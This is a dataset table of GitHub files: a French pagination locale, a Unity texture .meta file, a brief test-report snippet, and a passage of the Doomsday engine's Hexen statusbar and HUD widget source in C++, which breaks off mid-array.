text
stringlengths 2
100k
| meta
dict |
---|---|
export default {
// Options.jsx
items_per_page: '/ page',
jump_to: 'Aller à',
jump_to_confirm: 'confirmer',
page: '',
// Pagination.jsx
prev_page: 'Page précédente',
next_page: 'Page suivante',
prev_5: '5 Pages précédentes',
next_5: '5 Pages suivantes',
prev_3: '3 Pages précédentes',
next_3: '3 Pages suivantes',
};
| {
"pile_set_name": "Github"
} |
fileFormatVersion: 2
guid: 0c53b5ab7f92b4c4abbee54dca09df58
timeCreated: 1445081756
licenseType: Free
TextureImporter:
fileIDToRecycleName: {}
serializedVersion: 2
mipmaps:
mipMapMode: 0
enableMipMap: 0
linearTexture: 1
correctGamma: 0
fadeOut: 0
borderMipMap: 0
mipMapFadeDistanceStart: 1
mipMapFadeDistanceEnd: 3
bumpmap:
convertToNormalMap: 0
externalNormalMap: 0
heightScale: 0.25
normalMapFilter: 0
isReadable: 0
grayScaleToAlpha: 0
generateCubemap: 0
cubemapConvolution: 0
cubemapConvolutionSteps: 4
cubemapConvolutionExponent: 1.5
seamlessCubemap: 0
textureFormat: -3
maxTextureSize: 2048
textureSettings:
filterMode: -1
aniso: 1
mipBias: -1
wrapMode: 1
nPOTScale: 0
lightmap: 0
rGBM: 0
compressionQuality: 50
allowsAlphaSplitting: 0
spriteMode: 0
spriteExtrude: 1
spriteMeshType: 1
alignment: 0
spritePivot: {x: 0.5, y: 0.5}
spriteBorder: {x: 0, y: 0, z: 0, w: 0}
spritePixelsToUnits: 100
alphaIsTransparency: 1
textureType: 2
buildTargetSettings: []
spriteSheet:
sprites: []
outline: []
spritePackingTag:
userData:
assetBundleName:
assetBundleVariant:
| {
"pile_set_name": "Github"
} |
[Reported by leo at 03Apr14:32:42]
search_string:Assertion
search_file:errors
ignore_other_errors:1
full_description:#5412
brief_description:#5412
| {
"pile_set_name": "Github"
} |
/** @file st_stuff.cpp Hexen specific HUD and statusbar widgets.
*
* @authors Copyright © 2003-2017 Jaakko Keränen <[email protected]>
* @authors Copyright © 2005-2014 Daniel Swanson <[email protected]>
* @authors Copyright © 1999 Activision
*
* @par License
* GPL: http://www.gnu.org/licenses/gpl.html
*
* <small>This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by the
* Free Software Foundation; either version 2 of the License, or (at your
* option) any later version. This program is distributed in the hope that it
* will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General
* Public License for more details. You should have received a copy of the GNU
* General Public License along with this program; if not, write to the Free
* Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
* 02110-1301 USA</small>
*/
#if defined(WIN32) && defined(_MSC_VER)
// Something in here is incompatible with MSVC 2010 optimization.
// Symptom: automap not visible.
# pragma optimize("", off)
# pragma warning(disable : 4748)
#endif
#include "jhexen.h"
#include "st_stuff.h"
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include "d_net.h"
#include "d_netsv.h"
#include "dmu_lib.h"
#include "g_common.h"
#include "hu_lib.h"
#include "hu_inventory.h"
#include "hu_stuff.h"
#include "hud/automapstyle.h"
#include "gl_drawpatch.h"
#include "p_inventory.h"
#include "p_mapsetup.h"
#include "p_tick.h" // for Pause_IsPaused
#include "player.h"
#include "r_common.h"
#include "hud/widgets/armorwidget.h"
#include "hud/widgets/automapwidget.h"
#include "hud/widgets/chainwidget.h"
#include "hud/widgets/chatwidget.h"
#include "hud/widgets/flightwidget.h"
#include "hud/widgets/fragswidget.h"
#include "hud/widgets/groupwidget.h"
#include "hud/widgets/healthwidget.h"
#include "hud/widgets/keyswidget.h"
#include "hud/widgets/playerlogwidget.h"
#include "hud/widgets/readyammowidget.h"
#include "hud/widgets/readyitemwidget.h"
#include "hud/widgets/armoriconswidget.h"
#include "hud/widgets/bluemanaiconwidget.h"
#include "hud/widgets/bluemanavialwidget.h"
#include "hud/widgets/bluemanawidget.h"
#include "hud/widgets/bootswidget.h"
#include "hud/widgets/defensewidget.h"
#include "hud/widgets/greenmanaiconwidget.h"
#include "hud/widgets/greenmanavialwidget.h"
#include "hud/widgets/greenmanawidget.h"
#include "hud/widgets/servantwidget.h"
#include "hud/widgets/weaponpieceswidget.h"
#include "hud/widgets/worldtimewidget.h"
using namespace de;
enum
{
UWG_STATUSBAR,
UWG_MAPNAME,
UWG_BOTTOMLEFT,
UWG_BOTTOMRIGHT,
UWG_BOTTOMCENTER,
UWG_BOTTOM,
UWG_TOP,
UWG_TOPCENTER,
UWG_TOPLEFT,
UWG_TOPLEFT2,
UWG_TOPLEFT3,
UWG_TOPRIGHT,
UWG_AUTOMAP,
NUM_UIWIDGET_GROUPS
};
struct hudstate_t
{
dd_bool inited;
dd_bool stopped;
int hideTics;
float hideAmount;
float alpha; ///< Fullscreen hud alpha value.
float showBar; ///< Slide statusbar amount 1.0 is fully open.
dd_bool statusbarActive; ///< Whether the statusbar is active.
int automapCheatLevel; ///< @todo Belongs in player state?
int readyItemFlashCounter;
uiwidgetid_t groupIds[NUM_UIWIDGET_GROUPS];
// Statusbar:
uiwidgetid_t sbarHealthId;
uiwidgetid_t sbarWeaponpiecesId;
uiwidgetid_t sbarBluemanaiconId;
uiwidgetid_t sbarBluemanaId;
uiwidgetid_t sbarBluemanavialId;
uiwidgetid_t sbarGreenmanaiconId;
uiwidgetid_t sbarGreenmanaId;
uiwidgetid_t sbarGreenmanavialId;
uiwidgetid_t sbarKeysId;
uiwidgetid_t sbarArmoriconsId;
uiwidgetid_t sbarChainId;
uiwidgetid_t sbarArmorId;
uiwidgetid_t sbarFragsId;
uiwidgetid_t sbarReadyitemId;
// Fullscreen:
uiwidgetid_t healthId;
uiwidgetid_t fragsId;
uiwidgetid_t bluemanaiconId;
uiwidgetid_t bluemanaId;
uiwidgetid_t greenmanaiconId;
uiwidgetid_t greenmanaId;
uiwidgetid_t readyitemId;
// Other:
uiwidgetid_t automapId;
uiwidgetid_t chatId;
uiwidgetid_t logId;
uiwidgetid_t flightId;
uiwidgetid_t bootsId;
uiwidgetid_t servantId;
uiwidgetid_t defenseId;
uiwidgetid_t worldtimeId;
};
static hudstate_t hudStates[MAXPLAYERS];
static patchid_t pStatusBar;
static patchid_t pStatusBarTop;
static patchid_t pKills;
static patchid_t pStatBar;
static patchid_t pKeyBar;
static patchid_t pInventoryBar;
static patchid_t pWeaponSlot[3]; // [Fighter, Cleric, Mage]
/**
* Draws the whole statusbar backgound.
* @todo There is a whole lot of constants in here. What if someone wants to
* replace the statusbar with new patches?
*/
void SBarBackground_Drawer(HudWidget *wi, Point2Raw const *offset)
{
#define WIDTH (ST_WIDTH)
#define HEIGHT (ST_HEIGHT)
#define ORIGINX int(-WIDTH / 2)
#define ORIGINY int(-HEIGHT * hud->showBar)
DENG2_ASSERT(wi);
hudstate_t const *hud = &hudStates[wi->player()];
int const pClass = cfg.playerClass[wi->player()]; // Original class (i.e. not pig).
int const activeHud = ST_ActiveHud(wi->player());
float const iconOpacity = (activeHud == 0? 1 : uiRendState->pageAlpha * cfg.common.statusbarOpacity);
if(ST_AutomapIsOpen(wi->player()) && cfg.common.automapHudDisplay == 0) return;
if(P_MobjIsCamera(players[wi->player()].plr->mo) && Get(DD_PLAYBACK)) return;
DGL_MatrixMode(DGL_MODELVIEW);
DGL_PushMatrix();
if(offset) DGL_Translatef(offset->x, offset->y, 0);
DGL_Scalef(cfg.common.statusbarScale, cfg.common.statusbarScale, 1);
if(!(iconOpacity < 1))
{
DGL_Enable(DGL_TEXTURE_2D);
DGL_Color4f(1, 1, 1, 1);
GL_DrawPatch(pStatusBar, Vector2i(ORIGINX, ORIGINY - 28));
DGL_Disable(DGL_TEXTURE_2D);
/// @todo Kludge: The Hexen statusbar graphic has a chain already in the
/// image, which shows through the modified chain patches.
/// Mask out the chain on the statusbar by drawing a solid black
/// rectangle over it.
DGL_SetNoMaterial();
DGL_DrawRectf2Color(ORIGINX+44, ORIGINY+31, 232, 7, .1f, .1f, .1f, 1);
//// @todo Kludge: end
DGL_Enable(DGL_TEXTURE_2D);
DGL_Color4f(1, 1, 1, 1);
GL_DrawPatch(pStatusBarTop, Vector2i(ORIGINX, ORIGINY - 28));
if(!Hu_InventoryIsOpen(wi->player()))
{
// Main interface
if(!ST_AutomapIsOpen(wi->player()))
{
GL_DrawPatch(pStatBar, Vector2i(ORIGINX + 38, ORIGINY));
if(gfw_Rule(deathmatch))
{
GL_DrawPatch(pKills, Vector2i(ORIGINX + 38, ORIGINY));
}
GL_DrawPatch(pWeaponSlot[pClass], Vector2i(ORIGINX + 190, ORIGINY));
}
else
{
GL_DrawPatch(pKeyBar, Vector2i(ORIGINX + 38, ORIGINY));
}
}
else
{
GL_DrawPatch(pInventoryBar, Vector2i(ORIGINX + 38, ORIGINY));
}
DGL_Disable(DGL_TEXTURE_2D);
}
else
{
DGL_Enable(DGL_TEXTURE_2D);
DGL_Color4f(1, 1, 1, iconOpacity);
DGL_SetPatch(pStatusBar, DGL_CLAMP_TO_EDGE, DGL_CLAMP_TO_EDGE);
DGL_Begin(DGL_QUADS);
// top
int x = ORIGINX;
int y = ORIGINY-27;
int w = ST_WIDTH;
int h = 27;
float ch = 0.41538461538461538461538461538462f;
DGL_TexCoord2f(0, 0, 0);
DGL_Vertex2f(x, y);
DGL_TexCoord2f(0, 1, 0);
DGL_Vertex2f(x + w, y);
DGL_TexCoord2f(0, 1, ch);
DGL_Vertex2f(x + w, y + h);
DGL_TexCoord2f(0, 0, ch);
DGL_Vertex2f(x, y + h);
// left statue
x = ORIGINX;
y = ORIGINY;
w = 38;
h = 38;
float cw = (float) 38 / ST_WIDTH;
ch = 0.41538461538461538461538461538462f;
DGL_TexCoord2f(0, 0, ch);
DGL_Vertex2f(x, y);
DGL_TexCoord2f(0, cw, ch);
DGL_Vertex2f(x + w, y);
DGL_TexCoord2f(0, cw, 1);
DGL_Vertex2f(x + w, y + h);
DGL_TexCoord2f(0, 0, 1);
DGL_Vertex2f(x, y + h);
// right statue
x = ORIGINX+282;
y = ORIGINY;
w = 38;
h = 38;
cw = (float) (ST_WIDTH - 38) / ST_WIDTH;
ch = 0.41538461538461538461538461538462f;
DGL_TexCoord2f(0, cw, ch);
DGL_Vertex2f(x, y);
DGL_TexCoord2f(0, 1, ch);
DGL_Vertex2f(x + w, y);
DGL_TexCoord2f(0, 1, 1);
DGL_Vertex2f(x + w, y + h);
DGL_TexCoord2f(0, cw, 1);
DGL_Vertex2f(x, y + h);
DGL_End();
/// @todo Kludge: The Hexen statusbar graphic has a chain already in the
/// image, which shows through the modified chain patches.
/// Mask out the chain on the statusbar by cutting a window out and
/// drawing a solid near-black rectangle to fill the hole.
DGL_DrawCutRectf2Tiled(ORIGINX+38, ORIGINY+31, 244, 8, 320, 65, 38, 192-134, ORIGINX+44, ORIGINY+31, 232, 7);
DGL_Disable(DGL_TEXTURE_2D);
DGL_SetNoMaterial();
DGL_DrawRectf2Color(ORIGINX+44, ORIGINY+31, 232, 7, .1f, .1f, .1f, iconOpacity);
DGL_Color4f(1, 1, 1, iconOpacity);
//// @todo Kludge: end
if(!Hu_InventoryIsOpen(wi->player()))
{
DGL_Enable(DGL_TEXTURE_2D);
// Main interface
if(!ST_AutomapIsOpen(wi->player()))
{
patchinfo_t pStatBarInfo;
if(R_GetPatchInfo(pStatBar, &pStatBarInfo))
{
x = ORIGINX + (gfw_Rule(deathmatch) ? 68 : 38);
y = ORIGINY;
w = gfw_Rule(deathmatch)?214:244;
h = 31;
DGL_SetPatch(pStatBar, DGL_CLAMP_TO_EDGE, DGL_CLAMP_TO_EDGE);
DGL_DrawCutRectf2Tiled(x, y, w, h, pStatBarInfo.geometry.size.width, pStatBarInfo.geometry.size.height, gfw_Rule(deathmatch)?30:0, 0, ORIGINX+190, ORIGINY, 57, 30);
}
GL_DrawPatch(pWeaponSlot[pClass], Vector2i(ORIGINX + 190, ORIGINY));
if(gfw_Rule(deathmatch))
GL_DrawPatch(pKills, Vector2i(ORIGINX + 38, ORIGINY));
}
else
{
GL_DrawPatch(pKeyBar, Vector2i(ORIGINX + 38, ORIGINY));
}
DGL_Disable(DGL_TEXTURE_2D);
}
else
{ // INVBAR
DGL_SetPatch(pInventoryBar, DGL_CLAMP_TO_EDGE, DGL_CLAMP_TO_EDGE);
DGL_Enable(DGL_TEXTURE_2D);
x = ORIGINX+38;
y = ORIGINY;
w = 244;
h = 30;
ch = 0.96774193548387096774193548387097f;
DGL_Begin(DGL_QUADS);
DGL_TexCoord2f(0, 0, 0);
DGL_Vertex2f(x, y);
DGL_TexCoord2f(0, 1, 0);
DGL_Vertex2f(x + w, y);
DGL_TexCoord2f(0, 1, ch);
DGL_Vertex2f(x + w, y + h);
DGL_TexCoord2f(0, 0, ch);
DGL_Vertex2f(x, y + h);
DGL_End();
DGL_Disable(DGL_TEXTURE_2D);
}
}
DGL_MatrixMode(DGL_MODELVIEW);
DGL_PopMatrix();
#undef WIDTH
#undef HEIGHT
#undef ORIGINX
#undef ORIGINY
}
void SBarBackground_UpdateGeometry(HudWidget *wi)
{
DENG2_ASSERT(wi);
Rect_SetWidthHeight(&wi->geometry(), 0, 0);
if(ST_AutomapIsOpen(wi->player()) && cfg.common.automapHudDisplay == 0) return;
if(P_MobjIsCamera(players[wi->player()].plr->mo) && Get(DD_PLAYBACK)) return;
Rect_SetWidthHeight(&wi->geometry(), ST_WIDTH * cfg.common.statusbarScale,
ST_HEIGHT * cfg.common.statusbarScale);
}
void SBarInventory_Drawer(HudWidget *wi, Point2Raw const *offset)
{
#define X_OFFSET ( 50 )
#define Y_OFFSET ( 1 )
DENG2_ASSERT(wi);
hudstate_t const *hud = &hudStates[wi->player()];
int const activeHud = ST_ActiveHud(wi->player());
float const yOffset = ST_HEIGHT*(1-hud->showBar);
//float const textOpacity = (activeHud == 0? 1 : uiRendState->pageAlpha * cfg.common.statusbarCounterAlpha);
float const iconOpacity = (activeHud == 0? 1 : uiRendState->pageAlpha * cfg.common.statusbarCounterAlpha);
if(!Hu_InventoryIsOpen(wi->player())) return;
if(ST_AutomapIsOpen(wi->player()) && cfg.common.automapHudDisplay == 0) return;
if(P_MobjIsCamera(players[wi->player()].plr->mo) && Get(DD_PLAYBACK)) return;
DGL_MatrixMode(DGL_MODELVIEW);
DGL_PushMatrix();
if(offset) DGL_Translatef(offset->x, offset->y, 0);
DGL_Scalef(cfg.common.statusbarScale, cfg.common.statusbarScale, 1);
Hu_InventoryDraw2(wi->player(), -ST_WIDTH/2 + X_OFFSET, -ST_HEIGHT + yOffset + Y_OFFSET, iconOpacity);
DGL_MatrixMode(DGL_MODELVIEW);
DGL_PopMatrix();
#undef Y_OFFSET
#undef X_OFFSET
}
void SBarInventory_UpdateGeometry(HudWidget *wi)
{
DENG2_ASSERT(wi);
Rect_SetWidthHeight(&wi->geometry(), 0, 0);
if(!Hu_InventoryIsOpen(wi->player())) return;
if(ST_AutomapIsOpen(wi->player()) && cfg.common.automapHudDisplay == 0) return;
if(P_MobjIsCamera(players[wi->player()].plr->mo) && Get(DD_PLAYBACK)) return;
// @todo calculate dimensions properly!
Rect_SetWidthHeight(&wi->geometry(), (ST_WIDTH-(43*2)) * cfg.common.statusbarScale,
41 * cfg.common.statusbarScale);
}
void Inventory_Drawer(HudWidget *wi, Point2Raw const *offset)
{
#define INVENTORY_HEIGHT ( 29 )
#define EXTRA_SCALE ( 0.75 )
DENG2_ASSERT(wi);
float const textOpacity = ::uiRendState->pageAlpha * ::cfg.common.hudColor[3];
float const iconOpacity = ::uiRendState->pageAlpha * ::cfg.common.hudIconAlpha;
if(!Hu_InventoryIsOpen(wi->player())) return;
if(ST_AutomapIsOpen(wi->player()) && cfg.common.automapHudDisplay == 0) return;
if(P_MobjIsCamera(players[wi->player()].plr->mo) && Get(DD_PLAYBACK)) return;
DGL_MatrixMode(DGL_MODELVIEW);
DGL_PushMatrix();
if(offset) DGL_Translatef(offset->x, offset->y, 0);
DGL_Scalef(EXTRA_SCALE * cfg.common.hudScale, EXTRA_SCALE * cfg.common.hudScale, 1);
Hu_InventoryDraw(wi->player(), 0, -INVENTORY_HEIGHT, textOpacity, iconOpacity);
DGL_MatrixMode(DGL_MODELVIEW);
DGL_PopMatrix();
#undef EXTRA_SCALE
#undef INVENTORY_HEIGHT
}
void Inventory_UpdateGeometry(HudWidget *wi)
{
#define INVENTORY_HEIGHT 29
#define EXTRA_SCALE .75f
DENG2_ASSERT(wi);
Rect_SetWidthHeight(&wi->geometry(), 0, 0);
if(!Hu_InventoryIsOpen(wi->player())) return;
if(ST_AutomapIsOpen(wi->player()) && cfg.common.automapHudDisplay == 0) return;
if(P_MobjIsCamera(players[wi->player()].plr->mo) && Get(DD_PLAYBACK)) return;
Rect_SetWidthHeight(&wi->geometry(), (31 * 7 + 16 * 2) * EXTRA_SCALE * cfg.common.hudScale,
INVENTORY_HEIGHT * EXTRA_SCALE * cfg.common.hudScale);
#undef EXTRA_SCALE
#undef INVENTORY_HEIGHT
}
int ST_ActiveHud(int /*player*/)
{
return (cfg.common.screenBlocks < 10? 0 : cfg.common.screenBlocks - 10);
}
void ST_HUDUnHide(int localPlayer, hueevent_t ev)
{
if(localPlayer < 0 || localPlayer >= MAXPLAYERS)
return;
if(ev < HUE_FORCE || ev > NUMHUDUNHIDEEVENTS)
{
DENG_ASSERT(!"ST_HUDUnHide: Invalid event type");
return;
}
player_t *plr = &players[localPlayer];
if(!plr->plr->inGame) return;
if(ev == HUE_FORCE || cfg.hudUnHide[ev])
{
hudStates[localPlayer].hideTics = (cfg.common.hudTimer * TICSPERSEC);
hudStates[localPlayer].hideAmount = 0;
}
}
void ST_loadGraphics()
{
pStatusBar = R_DeclarePatch("H2BAR");
pStatusBarTop = R_DeclarePatch("H2TOP");
pInventoryBar = R_DeclarePatch("INVBAR");
pStatBar = R_DeclarePatch("STATBAR");
pKeyBar = R_DeclarePatch("KEYBAR");
pKills = R_DeclarePatch("KILLS");
pWeaponSlot[PCLASS_FIGHTER] = R_DeclarePatch("WPSLOT0");
pWeaponSlot[PCLASS_CLERIC ] = R_DeclarePatch("WPSLOT1");
pWeaponSlot[PCLASS_MAGE ] = R_DeclarePatch("WPSLOT2");
guidata_chain_t::prepareAssets();
guidata_flight_t::prepareAssets();
guidata_keys_t::prepareAssets();
guidata_readyitem_t::prepareAssets();
guidata_weaponpieces_t::prepareAssets();
guidata_armoricons_t::prepareAssets();
guidata_boots_t::prepareAssets();
guidata_bluemanaicon_t::prepareAssets();
guidata_bluemanavial_t::prepareAssets();
guidata_defense_t::prepareAssets();
guidata_greenmanaicon_t::prepareAssets();
guidata_greenmanavial_t::prepareAssets();
guidata_servant_t::prepareAssets();
}
void ST_loadData()
{
ST_loadGraphics();
}
static void initData(hudstate_t *hud)
{
DENG2_ASSERT(hud);
int const player = hud - hudStates;
hud->statusbarActive = true;
hud->stopped = true;
hud->showBar = 1;
hud->readyItemFlashCounter = 0;
// Statusbar:
GUI_FindWidgetById(hud->sbarHealthId).as<guidata_health_t>().reset();
GUI_FindWidgetById(hud->sbarWeaponpiecesId).as<guidata_weaponpieces_t>().reset();
GUI_FindWidgetById(hud->sbarFragsId).as<guidata_frags_t>().reset();
GUI_FindWidgetById(hud->sbarArmorId).as<guidata_armor_t>().reset();
GUI_FindWidgetById(hud->sbarChainId).as<guidata_chain_t>().reset();
GUI_FindWidgetById(hud->sbarBluemanaiconId).as<guidata_bluemanaicon_t>().reset();
GUI_FindWidgetById(hud->sbarBluemanaId).as<guidata_bluemana_t>().reset();
GUI_FindWidgetById(hud->sbarBluemanavialId).as<guidata_bluemanavial_t>().reset();
GUI_FindWidgetById(hud->sbarGreenmanaiconId).as<guidata_greenmanaicon_t>().reset();
GUI_FindWidgetById(hud->sbarGreenmanaId).as<guidata_greenmana_t>().reset();
GUI_FindWidgetById(hud->sbarGreenmanavialId).as<guidata_greenmanavial_t>().reset();
GUI_FindWidgetById(hud->sbarReadyitemId).as<guidata_readyitem_t>().reset();
GUI_FindWidgetById(hud->sbarKeysId).as<guidata_keys_t>().reset();
GUI_FindWidgetById(hud->sbarArmoriconsId).as<guidata_armoricons_t>().reset();
// Fullscreen:
GUI_FindWidgetById(hud->healthId).as<guidata_health_t>().reset();
GUI_FindWidgetById(hud->fragsId).as<guidata_frags_t>().reset();
GUI_FindWidgetById(hud->bluemanaiconId).as<guidata_bluemanaicon_t>().reset();
GUI_FindWidgetById(hud->bluemanaId).as<guidata_bluemana_t>().reset();
GUI_FindWidgetById(hud->greenmanaiconId).as<guidata_greenmanaicon_t>().reset();
GUI_FindWidgetById(hud->greenmanaId).as<guidata_greenmana_t>().reset();
GUI_FindWidgetById(hud->readyitemId).as<guidata_readyitem_t>().reset();
// Other:
GUI_FindWidgetById(hud->flightId).as<guidata_flight_t>().reset();
GUI_FindWidgetById(hud->bootsId).as<guidata_boots_t>().reset();
GUI_FindWidgetById(hud->servantId).as<guidata_servant_t>().reset();
GUI_FindWidgetById(hud->defenseId).as<guidata_defense_t>().reset();
GUI_FindWidgetById(hud->worldtimeId).as<guidata_worldtime_t>().reset();
GUI_FindWidgetById(hud->logId).as<PlayerLogWidget>().clear();
ST_HUDUnHide(player, HUE_FORCE);
}
static void setAutomapCheatLevel(AutomapWidget &automap, int level)
{
hudstate_t *hud = &hudStates[automap.player()];
hud->automapCheatLevel = level;
int flags = automap.flags() & ~(AWF_SHOW_ALLLINES|AWF_SHOW_THINGS|AWF_SHOW_SPECIALLINES|AWF_SHOW_VERTEXES|AWF_SHOW_LINE_NORMALS);
if(hud->automapCheatLevel >= 1)
flags |= AWF_SHOW_ALLLINES;
if(hud->automapCheatLevel == 2)
flags |= AWF_SHOW_THINGS | AWF_SHOW_SPECIALLINES;
if(hud->automapCheatLevel > 2)
flags |= (AWF_SHOW_VERTEXES | AWF_SHOW_LINE_NORMALS);
automap.setFlags(flags);
}
static void initAutomapForCurrentMap(AutomapWidget &automap)
{
#ifdef __JDOOM__
hudstate_t *hud = &hudStates[automap.player()];
#endif
automap.reset();
AABoxd const *mapBounds = reinterpret_cast<AABoxd *>(DD_GetVariable(DD_MAP_BOUNDING_BOX));
automap.setMapBounds(mapBounds->minX, mapBounds->maxX, mapBounds->minY, mapBounds->maxY);
#if __JDOOM__
automapcfg_t *style = automap.style();
#endif
// Determine the wi view scale factors.
if(automap.cameraZoomMode())
automap.setScale(0);
automap.clearAllPoints(true/*silent*/);
#if !__JHEXEN__
if(gameRules.skill == SM_BABY && cfg.common.automapBabyKeys)
{
automap.setFlags(automap.flags() | AWF_SHOW_KEYS);
}
#endif
#if __JDOOM__
if(!IS_NETGAME && hud->automapCheatLevel)
AM_SetVectorGraphic(style, AMO_THINGPLAYER, VG_CHEATARROW);
#endif
// Are we re-centering on a followed mobj?
if (mobj_t *mob = automap.followMobj())
{
automap.setCameraOrigin(Vector2d(mob->origin), true);
}
if(IS_NETGAME)
{
setAutomapCheatLevel(automap, 0);
}
automap.reveal(false);
// Add all immediately visible lines.
for(int i = 0; i < numlines; ++i)
{
xline_t *xline = &xlines[i];
if(!(xline->flags & ML_MAPPED)) continue;
P_SetLineAutomapVisibility(automap.player(), i, true);
}
}
void ST_Start(int localPlayer)
{
if(localPlayer < 0 || localPlayer >= MAXPLAYERS)
{
Con_Error("ST_Start: Invalid player #%i.", localPlayer);
exit(1); // Unreachable.
}
hudstate_t *hud = &hudStates[localPlayer];
if(!hud->stopped)
{
ST_Stop(localPlayer);
}
initData(hud);
// Initialize widgets according to player preferences.
HudWidget &tcGroup = GUI_FindWidgetById(hud->groupIds[UWG_TOPCENTER]);
int flags = tcGroup.alignment();
flags &= ~(ALIGN_LEFT|ALIGN_RIGHT);
if(cfg.common.msgAlign == 0)
flags |= ALIGN_LEFT;
else if(cfg.common.msgAlign == 2)
flags |= ALIGN_RIGHT;
tcGroup.setAlignment(flags);
AutomapWidget &automap = GUI_FindWidgetById(hud->automapId).as<AutomapWidget>();
// If the automap was left open; close it.
automap.open(false, true /*instantly*/);
initAutomapForCurrentMap(automap);
hud->stopped = false;
}
void ST_Stop(int localPlayer)
{
if(localPlayer < 0 || localPlayer >= MAXPLAYERS)
return;
hudstate_t *hud = &hudStates[localPlayer];
hud->stopped = true;
}
static HudWidget *makeGroupWidget(int groupFlags, int localPlayer, int alignFlags, order_t order, int padding)
{
auto *grp = new GroupWidget(localPlayer);
grp->setAlignment(alignFlags)
.setFont(1);
grp->setFlags(groupFlags);
grp->setOrder(order);
grp->setPadding(padding);
return grp;
}
void ST_BuildWidgets(int localPlayer)
{
#define PADDING (2) /// Units in fixed 320x200 screen space.
struct uiwidgetgroupdef_t
{
int group;
int alignFlags;
order_t order;
int groupFlags;
int padding; // In fixed 320x200 pixels.
};
struct uiwidgetdef_t
{
HudElementName type;
int alignFlags;
int group;
gamefontid_t fontIdx;
void (*updateGeometry) (HudWidget *wi);
void (*drawer) (HudWidget *wi, Point2Raw const *offset);
uiwidgetid_t *id;
};
hudstate_t *hud = &hudStates[localPlayer];
uiwidgetgroupdef_t const widgetGroupDefs[] = {
{ UWG_STATUSBAR, ALIGN_BOTTOM },
{ UWG_MAPNAME, ALIGN_BOTTOMLEFT },
{ UWG_BOTTOMLEFT, ALIGN_BOTTOMLEFT, ORDER_LEFTTORIGHT, 0, PADDING },
{ UWG_BOTTOMRIGHT, ALIGN_BOTTOMRIGHT, ORDER_RIGHTTOLEFT, 0, PADDING },
{ UWG_BOTTOMCENTER, ALIGN_BOTTOM, ORDER_RIGHTTOLEFT, UWGF_VERTICAL, PADDING },
{ UWG_BOTTOM, ALIGN_BOTTOM, ORDER_LEFTTORIGHT },
{ UWG_TOP, ALIGN_TOPLEFT, ORDER_LEFTTORIGHT },
{ UWG_TOPCENTER, ALIGN_TOP, ORDER_LEFTTORIGHT, UWGF_VERTICAL, PADDING },
{ UWG_TOPLEFT, ALIGN_TOPLEFT, ORDER_LEFTTORIGHT, 0, PADDING },
{ UWG_TOPLEFT2, ALIGN_TOPLEFT, ORDER_LEFTTORIGHT, 0, PADDING },
{ UWG_TOPLEFT3, ALIGN_TOPLEFT, ORDER_LEFTTORIGHT, 0, PADDING },
{ UWG_TOPRIGHT, ALIGN_TOPRIGHT, ORDER_RIGHTTOLEFT, 0, PADDING },
{ UWG_AUTOMAP, ALIGN_TOPLEFT }
};
uiwidgetdef_t const widgetDefs[] = {
{ GUI_BOX, ALIGN_TOPLEFT, UWG_STATUSBAR, GF_NONE, function_cast<UpdateGeometryFunc>(SBarBackground_UpdateGeometry), function_cast<DrawFunc>(SBarBackground_Drawer) },
{ GUI_WEAPONPIECES, ALIGN_TOPLEFT, UWG_STATUSBAR, GF_NONE, nullptr, nullptr, &hud->sbarWeaponpiecesId },
{ GUI_CHAIN, ALIGN_TOPLEFT, UWG_STATUSBAR, GF_NONE, nullptr, nullptr, &hud->sbarChainId },
{ GUI_INVENTORY, ALIGN_TOPLEFT, UWG_STATUSBAR, GF_SMALLIN, function_cast<UpdateGeometryFunc>(SBarInventory_UpdateGeometry), function_cast<DrawFunc>(SBarInventory_Drawer) },
{ GUI_KEYS, ALIGN_TOPLEFT, UWG_STATUSBAR, GF_NONE, nullptr, nullptr, &hud->sbarKeysId },
{ GUI_ARMORICONS, ALIGN_TOPLEFT, UWG_STATUSBAR, GF_NONE, nullptr, nullptr, &hud->sbarArmoriconsId },
{ GUI_FRAGS, ALIGN_TOPLEFT, UWG_STATUSBAR, GF_STATUS, function_cast<UpdateGeometryFunc>(SBarFragsWidget_UpdateGeometry), function_cast<DrawFunc>(SBarFragsWidget_Draw), &hud->sbarFragsId },
{ GUI_HEALTH, ALIGN_TOPLEFT, UWG_STATUSBAR, GF_STATUS, function_cast<UpdateGeometryFunc>(SBarHealthWidget_UpdateGeometry), function_cast<DrawFunc>(SBarHealthWidget_Draw), &hud->sbarHealthId },
{ GUI_ARMOR, ALIGN_TOPLEFT, UWG_STATUSBAR, GF_STATUS, function_cast<UpdateGeometryFunc>(SBarArmor_UpdateGeometry), function_cast<DrawFunc>(SBarArmorWidget_Draw), &hud->sbarArmorId },
{ GUI_READYITEM, ALIGN_TOPLEFT, UWG_STATUSBAR, GF_SMALLIN, function_cast<UpdateGeometryFunc>(SBarReadyItem_UpdateGeometry), function_cast<DrawFunc>(SBarReadyItem_Drawer), &hud->sbarReadyitemId },
{ GUI_BLUEMANAICON, ALIGN_TOPLEFT, UWG_STATUSBAR, GF_NONE, function_cast<UpdateGeometryFunc>(SBarBlueManaIconWidget_UpdateGeometry), function_cast<DrawFunc>(SBarBlueManaIconWidget_Draw), &hud->sbarBluemanaiconId },
{ GUI_BLUEMANA, ALIGN_TOPLEFT, UWG_STATUSBAR, GF_SMALLIN, function_cast<UpdateGeometryFunc>(SBarBlueManaWidget_UpdateGeometry), function_cast<DrawFunc>(SBarBlueManaWidget_Draw), &hud->sbarBluemanaId },
{ GUI_BLUEMANAVIAL, ALIGN_TOPLEFT, UWG_STATUSBAR, GF_NONE, nullptr, nullptr, &hud->sbarBluemanavialId },
{ GUI_GREENMANAICON, ALIGN_TOPLEFT, UWG_STATUSBAR, GF_NONE, function_cast<UpdateGeometryFunc>(SBarGreenManaIconWidget_UpdateGeometry), function_cast<DrawFunc>(SBarGreenManaIconWidget_Draw), &hud->sbarGreenmanaiconId },
{ GUI_GREENMANA, ALIGN_TOPLEFT, UWG_STATUSBAR, GF_SMALLIN, function_cast<UpdateGeometryFunc>(SBarGreenManaWidget_UpdateGeometry), function_cast<DrawFunc>(SBarGreenManaWidget_Draw), &hud->sbarGreenmanaId },
{ GUI_GREENMANAVIAL, ALIGN_TOPLEFT, UWG_STATUSBAR, GF_NONE, nullptr, nullptr, &hud->sbarGreenmanavialId },
